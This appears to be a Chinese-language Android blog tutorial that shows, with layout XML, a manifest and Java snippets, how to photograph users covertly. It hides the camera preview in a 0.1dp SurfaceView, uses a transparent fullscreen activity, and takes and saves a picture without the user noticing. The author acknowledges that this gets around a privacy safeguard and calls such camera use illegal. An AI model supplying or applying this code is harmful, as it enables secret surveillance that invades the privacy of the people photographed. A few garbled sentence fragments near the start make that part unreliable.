前言:相信有許多人和我一樣,希望在不讓使用者知道的情況下,使用後台Server調用網路攝影機拍照,
在網上找了不少資料,大致都講到不預覽無法實現拍照,涉及到使用者隱私,屬於非法調用網路攝影機...怎麼辦!!!
,再來個,和,不就和沒東西彈出來一個效果。
了...設這SurfaceView長和寬都為0.1 你不是要預覽嗎,也有,問題是預覽框這麼小,要是你還能看到那就沒辦 法了...
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MyCamera" > <!-- 預覽框,長寬都為0.1 --> <SurfaceView android:id="@+id/camera_surfaceview" android:layout_width="0.1dp" android:layout_height="0.1dp" > </SurfaceView></RelativeLayout>
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.chenww.camera.ui" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="10" android:targetSdkVersion="16"> </uses-sdk> <!-- 調用相機許可權 --> <uses-permission android:name="android.permission.CAMERA" /> <uses-feature android:name="android.hardware.camera" /> <uses-feature android:name="android.hardware.camera.autofocus" /> <!-- 讀寫SD卡許可權 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <!-- 拍照介面Activity --> <activity android:name="com.chenww.camera.ui.CameraActivity" android:theme="@android:style/Theme.Translucent" > <!-- theme設定成全透明 --> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application></manifest>
然後是CameraActivity.java檔案,這裡就得在oncreate開頭添加如下代碼設定視窗全屏並且無標題。
// 無title requestWindowFeature(Window.FEATURE_NO_TITLE); // 全屏 getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
綁定SurfaceView 初始化SurfaceHolder
//初始化surfaceviewmySurfaceView = (SurfaceView) findViewById(R.id.camera_surfaceview);//初始化surfaceholdermyHolder = mySurfaceView.getHolder();myHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
接下來,初始化Camera對象,並調用該對象的setPreviewDisplay函數設定SurfaceHolder對象(這裡為myHolder)
//這裡的myCamera為已經初始化的Camera對象myCamera.setPreviewDisplay(myHolder);
接下來就是拍照,不過記得
myCamera.startPreview();//自動對焦myCamera.autoFocus(myAutoFocus);//對焦後拍照myCamera.takePicture(null, null, myPicCallback);
上面的myAutoFocus及myPicCallback分別自動對焦回呼函數和成功拍照回呼函數
//自動對焦回呼函數(空實現)private AutoFocusCallback myAutoFocus = new AutoFocusCallback() {@Overridepublic void onAutoFocus(boolean success, Camera camera) {}};
//拍照成功回呼函數private PictureCallback myPicCallback = new PictureCallback() {@Overridepublic void onPictureTaken(byte[] data, Camera camera) {}}
騷年,在處理完Camera返回的資料之後,記得關閉Activity並各種釋放資源
//完成拍照後關閉ActivityMyCameraActivity.this.finish();myCamera.stopPreview();myCamera.release();myCamera = null;
PS:對照片的處理,我在上一篇博文中有講到,比如android網路攝影機擷取的照片都是橫屏的...要讓他直起來怎麼搞或者是豎直預覽:點擊開啟連結